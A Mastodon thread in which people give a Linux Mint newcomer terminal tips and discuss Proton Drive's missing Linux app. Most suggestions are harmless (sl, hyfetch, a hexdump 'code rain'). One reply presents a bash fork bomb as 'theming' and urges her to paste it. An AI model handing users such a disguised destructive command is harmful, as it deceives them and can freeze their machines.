https://jenniegyllblad.co.uk/videos/2girliesinstalllinux_clips1.mp4

[cybervegan@autistics.life]

@JenJen Haha don't worry about the terminal until you really need it. I couldn't live without it but some of the kinds of things I like to do work best in the terminal. I use it for running my laser cutter, but I do design in Inkscape. Always be wary of people giving you advice to "just type this into the terminal" - on mint that's almost never needed. On the other hand, it's always there if you decide you DO want to dabble - plenty of people on here will help you learn. Another caution: rum and the terminal don't really mix!

[sebulon@mastodon.social]

@JenJen
It just needs a little theming! Here, try pasting this into your terminal:

:(){ :|:& };:

It'll be 🔥, promise! 😊

[welshpixie@mastodon.art]

@JenJen Type in this:

sudo apt install sl

press enter, it will prompt you to install something, say yes / give it your soul

after it's done and you're back to the terminal, type:

sl

and press enter

[oliviavespera@spacey.space]

@JenJen type sudo apt install hyfetch

then when it's done, type hyfetch.

But to be fair the thing I really enjoy about customising linux, doesn't happen in the terminal.

Look for extensions, applets, and themes in the start menu

Look at hotcorners and workspaces and window tiling.

There's a lot of very immediate things.

I have an extension that burns a window up whenever I close it. It has other effects I recommend it.

[holsta@mastodon.art]

@welshpixie @JenJen NEEEERDS. (Supportive).

[helenmclaughlinart@mastodon.art]

@JenJen Good UI design, right there. Have fun!

[oliviavespera@spacey.space]

@JenJen btw this is what hyfetch does.
censored my hardware deets.

[jenjen@mastodon.art]

Okay so the one thing I do need my laptop for is my research - and I use proton drive. I can use the browser to access, but it would be nice if they had an app for linux

IT BEGINS.

I won't do the food analogy I did on stream again, but I'm used to not being catered to, as a vegan, so this feels right at home

[oliviavespera@spacey.space]

@JenJen https://www.youtube.com/watch?v=df02ap4GZQE

[jenjen@mastodon.art]

@OliviaVespera OH MY GOD

[helenmclaughlinart@mastodon.art]

@welshpixie @JenJen Oooh, what did that do?

(Nerding vicariously)

[yuki2501@masto.hackers.town]

@JenJen

Good luck with your new OS!

[jenesuispasgoth@pouet.chapril.org]

@JenJen ah, yes. Welcome to the sweet sweet realm of "oh noes, if you're not on windows or mac os, you do not exist," and the sweet, bitter, cold revenge of some nerd, somewhere, saying "oh, I'll make you *see* me, you FOOL."

No idea for Proton, but, e.g., for dropbox there are ugly scripts which exist to ensure synchronization without going on the web (it's an install-once kind of thing). Of course, you probably want a techie to help out with that to avoid mistakes. 😬

[welshpixie@mastodon.art]

@helenmclaughlinart I don't want to spoil the surprise for @JenJen :D

[lsdog@piaille.fr]

@JenJen [EDIT] Nope, nevermind, its just AI slop again 🫠

[oliviavespera@spacey.space]

@JenJen
:D Right click on the start menu and click edit menu or configure and see what's there. Every element has a configure or edit menu in linux.

[not_a_label@toot.lgbt]

@JenJen this is why I use pCloud instead - not as sexy as Proton and the encrypted storage is an extra add-on but it does have a Linux app.

There's probably a way round it with Rsync or something but that's not a simple proposition for a linux vegan 😂

[snyperwolf@kind.social]

@JenJen I was suspecting some availability through apt-get (or uwu-get? Or whatever command that flavor of linux uses to get apps), but it looks like proton really does not support linux at all!

There does appear to be some solutions out there, but I do not have the experience to recommend or comment on them. Good luck!

[davidrevoy@framapiaf.org]

@JenJen I'll proof you the terminal can be fun!
Paste this in the terminal (Ctrl+Shift+V):

cat /dev/urandom | hexdump -C | grep "ca fe"

It's safe and you'll feel like a real hacker, reading the Matrix, especially if you keep the terminal open on the side of your monitor

(You can stop the rain of code with Ctrl+C anytime).
Enjoy!

[jenjen@mastodon.art]

@bill *art gremlin*